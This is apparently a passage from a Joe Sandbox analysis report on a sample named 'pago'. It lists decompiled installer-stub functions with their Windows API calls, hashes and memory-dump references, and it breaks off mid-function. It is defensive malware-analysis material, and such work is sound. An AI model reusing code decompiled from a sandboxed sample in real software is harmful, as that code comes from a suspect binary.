                                                                  • Instruction Fuzzy Hash: AEE0EC322502AAABDF10AE65DC04AEB7B6CEB05361F018936FD16E6150E631E92197A4
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004063AA(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
                                                                  				void* _t7;
                                                                  				long _t8;
                                                                  				void* _t9;
                                                                  
                                                                  				_t7 = E00406329(_a4,  &_a12);
                                                                  				if(_t7 != 0) {
                                                                  					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
                                                                  					return _t8;
                                                                  				}
                                                                  				_t9 = 6;
                                                                  				return _t9;
                                                                  			}






                                                                  0x004063b4
                                                                  0x004063bb
                                                                  0x004063ce
                                                                  0x00000000
                                                                  0x004063ce
                                                                  0x004063bf
                                                                  0x00000000

                                                                  APIs
                                                                  • RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,?,?,?,00406438,?,00000000,?,?,Call,?), ref: 004063CE
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Open
                                                                  • String ID:
                                                                  • API String ID: 71445658-0
                                                                  • Opcode ID: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
                                                                  • Instruction ID: 4361357c0318622cec318f667d88df30c4c29b75262f7bca7234b06b46464da2
                                                                  • Opcode Fuzzy Hash: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
                                                                  • Instruction Fuzzy Hash: 83D0123210020EBBDF115F91AD01FAB3B5DAB08310F014426FE06E40A1D775D530A764
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004015A3() {
                                                                  				int _t5;
                                                                  				void* _t11;
                                                                  				int _t14;
                                                                  
                                                                  				_t5 = SetFileAttributesW(E00402DA6(0xfffffff0),  *(_t11 - 0x2c)); // executed
                                                                  				_t14 = _t5;
                                                                  				if(_t14 == 0) {
                                                                  					 *((intOrPtr*)(_t11 - 4)) = 1;
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t11 - 4));
                                                                  				return 0;
                                                                  			}






                                                                  0x004015ae
                                                                  0x004015b4
                                                                  0x004015b6
                                                                  0x0040292e
                                                                  0x0040292e
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: AttributesFile
                                                                  • String ID:
                                                                  • API String ID: 3188754299-0
                                                                  • Opcode ID: 65c2aa993e69b1b7995987e9dece7a59c9f58c0f53bfe85ea67610976eabe651
                                                                  • Instruction ID: 33d43a8ddb5fee1851102b8e64c9f064c627007e01bf6cdc746e786b0f5045d9
                                                                  • Opcode Fuzzy Hash: 65c2aa993e69b1b7995987e9dece7a59c9f58c0f53bfe85ea67610976eabe651
                                                                  • Instruction Fuzzy Hash: 30D01772B08110DBDB11DBA8AA48B9D72A4AB50368B208537D111F61D0E6B8C945AA19
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004044E5(int _a4) {
                                                                  				struct HWND__* _t2;
                                                                  				long _t3;
                                                                  
                                                                  				_t2 =  *0x433ed8; // 0x103aa
                                                                  				if(_t2 != 0) {
                                                                  					_t3 = SendMessageW(_t2, _a4, 0, 0); // executed
                                                                  					return _t3;
                                                                  				}
                                                                  				return _t2;
                                                                  			}





                                                                  0x004044e5
                                                                  0x004044ec
                                                                  0x004044f7
                                                                  0x00000000
                                                                  0x004044f7
                                                                  0x004044fd

                                                                  APIs
                                                                  • SendMessageW.USER32(000103AA,00000000,00000000,00000000), ref: 004044F7
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID:
                                                                  • API String ID: 3850602802-0
                                                                  • Opcode ID: b985a0028b3d47d2300e38cb49a9103195f452c5c5dca8052d978926f7780193
                                                                  • Instruction ID: 729772cd993a62bf3dcd5a53f5ba0c6067f9c4589e443fe2cdcdd0dddf41cb53
                                                                  • Opcode Fuzzy Hash: b985a0028b3d47d2300e38cb49a9103195f452c5c5dca8052d978926f7780193
                                                                  • Instruction Fuzzy Hash: 74C04CB1740605BADA108B509D45F0677546750701F188429B641A50E0CA74E410D62C
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004044CE(int _a4) {
                                                                  				long _t2;
                                                                  
                                                                  				_t2 = SendMessageW( *0x434f08, 0x28, _a4, 1); // executed
                                                                  				return _t2;
                                                                  			}




                                                                  0x004044dc
                                                                  0x004044e2

                                                                  APIs
                                                                  • SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID:
                                                                  • API String ID: 3850602802-0
                                                                  • Opcode ID: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
                                                                  • Instruction ID: f9270ce27bc2d5d500308faa7c43699bdd9cec228278350af1c7ef3a72e6c056
                                                                  • Opcode Fuzzy Hash: ea04ea026f55595d688d74c1d87789f1c1942be7a89ca5b988cfd0b6025de892
                                                                  • Instruction Fuzzy Hash: 4FB01235181A00FBDE514B00DE09F857E62F7E4701F058038F341240F0CBB200A4DB08
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004034E5(long _a4) {
                                                                  				long _t2;
                                                                  
                                                                  				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
                                                                  				return _t2;
                                                                  			}




                                                                  0x004034f3
                                                                  0x004034f9

                                                                  APIs
                                                                  • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403242,?,?,?,?,?,?,0040387D,?), ref: 004034F3
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FilePointer
                                                                  • String ID:
                                                                  • API String ID: 973152223-0
                                                                  • Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
                                                                  • Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
                                                                  • Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
                                                                  • Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004044BB(int _a4) {
                                                                  				int _t2;
                                                                  
                                                                  				_t2 = EnableWindow( *0x42d264, _a4); // executed
                                                                  				return _t2;
                                                                  			}




                                                                  0x004044c5
                                                                  0x004044cb

                                                                  APIs
                                                                  • KiUserCallbackDispatcher.NTDLL(?,00404292), ref: 004044C5
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: CallbackDispatcherUser
                                                                  • String ID:
                                                                  • API String ID: 2492992576-0
                                                                  • Opcode ID: 88c3b14432b04161d4e03979afc52f71aef4d1a500ec292a4d39f98dda9e77ac
                                                                  • Instruction ID: 0db23a64e3c973129ccb7351ad80e5cfa0365495cc8a336c35755b545d17f2be
                                                                  • Opcode Fuzzy Hash: 88c3b14432b04161d4e03979afc52f71aef4d1a500ec292a4d39f98dda9e77ac
                                                                  • Instruction Fuzzy Hash: 74A00275508601DBDE115B51DF09D057B71A7547017414579A18551034C6314461EB5D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 78%
                                                                  			E00401FA4(void* __ecx) {
                                                                  				void* _t9;
                                                                  				intOrPtr _t13;
                                                                  				void* _t15;
                                                                  				void* _t17;
                                                                  				void* _t20;
                                                                  				void* _t22;
                                                                  
                                                                  				_t17 = __ecx;
                                                                  				_t19 = E00402DA6(_t15);
                                                                  				E0040559F(0xffffffeb, _t7); // executed
                                                                  				_t9 = E00405B20(_t19); // executed
                                                                  				_t20 = _t9;
                                                                  				if(_t20 == _t15) {
                                                                  					 *((intOrPtr*)(_t22 - 4)) = 1;
                                                                  				} else {
                                                                  					if( *((intOrPtr*)(_t22 - 0x28)) != _t15) {
                                                                  						_t13 = E004069B5(_t17, _t20);
                                                                  						if( *((intOrPtr*)(_t22 - 0x2c)) < _t15) {
                                                                  							if(_t13 != _t15) {
                                                                  								 *((intOrPtr*)(_t22 - 4)) = 1;
                                                                  							}
                                                                  						} else {
                                                                  							E00406484( *((intOrPtr*)(_t22 - 0xc)), _t13);
                                                                  						}
                                                                  					}
                                                                  					_push(_t20);
                                                                  					CloseHandle();
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t22 - 4));
                                                                  				return 0;
                                                                  			}









                                                                  0x00401fa4
                                                                  0x00401faa
                                                                  0x00401faf
                                                                  0x00401fb5
                                                                  0x00401fba
                                                                  0x00401fbe
                                                                  0x0040292e
                                                                  0x00401fc4
                                                                  0x00401fc7
                                                                  0x00401fca
                                                                  0x00401fd2
                                                                  0x00401fe1
                                                                  0x00401fe3
                                                                  0x00401fe3
                                                                  0x00401fd4
                                                                  0x00401fd8
                                                                  0x00401fd8
                                                                  0x00401fd2
                                                                  0x00401fea
                                                                  0x00401feb
                                                                  0x00401feb
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                    • Part of subcall function 0040559F: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000,00425A20,76F1EA30,?,?,?,?,?,?,?,?,?,00403418,00000000,?), ref: 004055D7
                                                                    • Part of subcall function 0040559F: lstrlenW.KERNEL32(00403418,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00000000,00425A20,76F1EA30,?,?,?,?,?,?,?,?,?,00403418,00000000), ref: 004055E7
                                                                    • Part of subcall function 0040559F: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,00403418), ref: 004055FA
                                                                    • Part of subcall function 0040559F: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll), ref: 0040560C
                                                                    • Part of subcall function 0040559F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405632
                                                                    • Part of subcall function 0040559F: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040564C
                                                                    • Part of subcall function 0040559F: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565A
                                                                    • Part of subcall function 00405B20: CreateProcessW.KERNELBASE ref: 00405B49
                                                                    • Part of subcall function 00405B20: CloseHandle.KERNEL32(?), ref: 00405B56
                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FEB
                                                                    • Part of subcall function 004069B5: WaitForSingleObject.KERNEL32(?,00000064), ref: 004069C6
                                                                    • Part of subcall function 004069B5: GetExitCodeProcess.KERNEL32 ref: 004069E8
                                                                    • Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
                                                                  • String ID:
                                                                  • API String ID: 2972824698-0
                                                                  • Opcode ID: 6136d700670623d216338933149642e42929091166c3370651cf11a9f7a6f1a5
                                                                  • Instruction ID: a015d294fcb9cc4e365613bb9e09bf6e78b00889af70ee47f703a6c6056ea9c8
                                                                  • Opcode Fuzzy Hash: 6136d700670623d216338933149642e42929091166c3370651cf11a9f7a6f1a5
                                                                  • Instruction Fuzzy Hash: 2DF09072904112EBCB21BBA59A84EDE76E8DF01318F25403BE102B21D1D77C4E429A6E
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E004014D7(intOrPtr __edx) {
                                                                  				long _t3;
                                                                  				void* _t7;
                                                                  				intOrPtr _t10;
                                                                  				void* _t13;
                                                                  
                                                                  				_t10 = __edx;
                                                                  				_t3 = E00402D84(_t7);
                                                                  				 *((intOrPtr*)(_t13 - 0x10)) = _t10;
                                                                  				if(_t3 <= 1) {
                                                                  					_t3 = 1;
                                                                  				}
                                                                  				Sleep(_t3); // executed
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t13 - 4));
                                                                  				return 0;
                                                                  			}







                                                                  0x004014d7
                                                                  0x004014d8
                                                                  0x004014e1
                                                                  0x004014e4
                                                                  0x004014e8
                                                                  0x004014e8
                                                                  0x004014ea
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • Sleep.KERNELBASE(00000000), ref: 004014EA
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Sleep
                                                                  • String ID:
                                                                  • API String ID: 3472027048-0
                                                                  • Opcode ID: e3bcad73e1de128994d288fa0b6ef38954c80a91edb21965763d280816065a30
                                                                  • Instruction ID: 7e4bd3fa72896d3e54e8b4d9ea8ddceac118c8145159a7c2ee745a60f6c60e84
                                                                  • Opcode Fuzzy Hash: e3bcad73e1de128994d288fa0b6ef38954c80a91edb21965763d280816065a30
                                                                  • Instruction Fuzzy Hash: 8DD0A773B141018BD704EBFCFE8545E73E8EB503293208C37D402E10D1E678C846461C
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 95%
                                                                  			E732D1BFF() {
                                                                  				signed int _v8;
                                                                  				signed int _v12;
                                                                  				signed int _v16;
                                                                  				signed int _v20;
                                                                  				WCHAR* _v24;
                                                                  				WCHAR* _v28;
                                                                  				signed int _v32;
                                                                  				signed int _v36;
                                                                  				signed int _v40;
                                                                  				signed int _v44;
                                                                  				WCHAR* _v48;
                                                                  				signed int _v52;
                                                                  				void* _v56;
                                                                  				intOrPtr _v60;
                                                                  				WCHAR* _t208;
                                                                  				signed int _t211;
                                                                  				void* _t213;
                                                                  				void* _t215;
                                                                  				WCHAR* _t217;
                                                                  				void* _t225;
                                                                  				struct HINSTANCE__* _t226;
                                                                  				struct HINSTANCE__* _t227;
                                                                  				struct HINSTANCE__* _t229;
                                                                  				signed short _t231;
                                                                  				struct HINSTANCE__* _t234;
                                                                  				struct HINSTANCE__* _t236;
                                                                  				void* _t237;
                                                                  				intOrPtr* _t238;
                                                                  				void* _t249;
                                                                  				signed char _t250;
                                                                  				signed int _t251;
                                                                  				struct HINSTANCE__* _t257;
                                                                  				void* _t258;
                                                                  				signed int _t260;
                                                                  				signed int _t261;
                                                                  				signed short* _t264;
                                                                  				signed int _t269;
                                                                  				signed int _t272;
                                                                  				signed int _t274;
                                                                  				void* _t277;
                                                                  				void* _t281;
                                                                  				struct HINSTANCE__* _t283;
                                                                  				signed int _t286;
                                                                  				void _t287;
                                                                  				signed int _t288;
                                                                  				signed int _t300;
                                                                  				signed int _t301;
                                                                  				signed short _t304;
                                                                  				void* _t305;
                                                                  				signed int _t309;
                                                                  				signed int _t312;
                                                                  				signed int _t315;
                                                                  				signed int _t316;
                                                                  				signed int _t317;
                                                                  				signed short* _t321;
                                                                  				WCHAR* _t322;
                                                                  				WCHAR* _t324;
                                                                  				WCHAR* _t325;
                                                                  				struct HINSTANCE__* _t326;
                                                                  				void* _t328;
                                                                  				signed int _t331;
                                                                  				void* _t332;
                                                                  
                                                                  				_t283 = 0;
                                                                  				_v32 = 0;
                                                                  				_v36 = 0;
                                                                  				_v16 = 0;
                                                                  				_v8 = 0;
                                                                  				_v40 = 0;
                                                                  				_t332 = 0;
                                                                  				_v52 = 0;
                                                                  				_v44 = 0;
                                                                  				_t208 = E732D12BB();
                                                                  				_v24 = _t208;
                                                                  				_v28 = _t208;
                                                                  				_v48 = E732D12BB();
                                                                  				_t321 = E732D12E3();
                                                                  				_v56 = _t321;
                                                                  				_v12 = _t321;
                                                                  				while(1) {
                                                                  					_t211 = _v32;
                                                                  					_v60 = _t211;
                                                                  					if(_t211 != _t283 && _t332 == _t283) {
                                                                  						break;
                                                                  					}
                                                                  					_t286 =  *_t321 & 0x0000ffff;
                                                                  					_t213 = _t286 - _t283;
                                                                  					if(_t213 == 0) {
                                                                  						_t37 =  &_v32;
                                                                  						 *_t37 = _v32 | 0xffffffff;
                                                                  						__eflags =  *_t37;
                                                                  						L20:
                                                                  						_t215 = _v60 - _t283;
                                                                  						if(_t215 == 0) {
                                                                  							__eflags = _t332 - _t283;
                                                                  							 *_v28 = _t283;
                                                                  							if(_t332 == _t283) {
                                                                  								_t332 = GlobalAlloc(0x40, 0x1ca4);
                                                                  								 *(_t332 + 0x1010) = _t283;
                                                                  								 *(_t332 + 0x1014) = _t283;
                                                                  							}
                                                                  							_t287 = _v36;
                                                                  							_t47 = _t332 + 8; // 0x8
                                                                  							_t217 = _t47;
                                                                  							_t48 = _t332 + 0x808; // 0x808
                                                                  							_t322 = _t48;
                                                                  							 *_t332 = _t287;
                                                                  							_t288 = _t287 - _t283;
                                                                  							__eflags = _t288;
                                                                  							 *_t217 = _t283;
                                                                  							 *_t322 = _t283;
                                                                  							 *(_t332 + 0x1008) = _t283;
                                                                  							 *(_t332 + 0x100c) = _t283;
                                                                  							 *(_t332 + 4) = _t283;
                                                                  							if(_t288 == 0) {
                                                                  								__eflags = _v28 - _v24;
                                                                  								if(_v28 == _v24) {
                                                                  									goto L42;
                                                                  								}
                                                                  								_t328 = 0;
                                                                  								GlobalFree(_t332);
                                                                  								_t332 = E732D13B1(_v24);
                                                                  								__eflags = _t332 - _t283;
                                                                  								if(_t332 == _t283) {
                                                                  									goto L42;
                                                                  								} else {
                                                                  									goto L35;
                                                                  								}
                                                                  								while(1) {
                                                                  									L35:
                                                                  									_t249 =  *(_t332 + 0x1ca0);
                                                                  									__eflags = _t249 - _t283;
                                                                  									if(_t249 == _t283) {
                                                                  										break;
                                                                  									}
                                                                  									_t328 = _t332;
                                                                  									_t332 = _t249;
                                                                  									__eflags = _t332 - _t283;
                                                                  									if(_t332 != _t283) {
                                                                  										continue;
                                                                  									}
                                                                  									break;
                                                                  								}
                                                                  								__eflags = _t328 - _t283;
                                                                  								if(_t328 != _t283) {
                                                                  									 *(_t328 + 0x1ca0) = _t283;
                                                                  								}
                                                                  								_t250 =  *(_t332 + 0x1010);
                                                                  								__eflags = _t250 & 0x00000008;
                                                                  								if((_t250 & 0x00000008) == 0) {
                                                                  									_t251 = _t250 | 0x00000002;
                                                                  									__eflags = _t251;
                                                                  									 *(_t332 + 0x1010) = _t251;
                                                                  								} else {
                                                                  									_t332 = E732D162F(_t332);
                                                                  									 *(_t332 + 0x1010) =  *(_t332 + 0x1010) & 0xfffffff5;
                                                                  								}
                                                                  								goto L42;
                                                                  							} else {
                                                                  								_t300 = _t288 - 1;
                                                                  								__eflags = _t300;
                                                                  								if(_t300 == 0) {
                                                                  									L31:
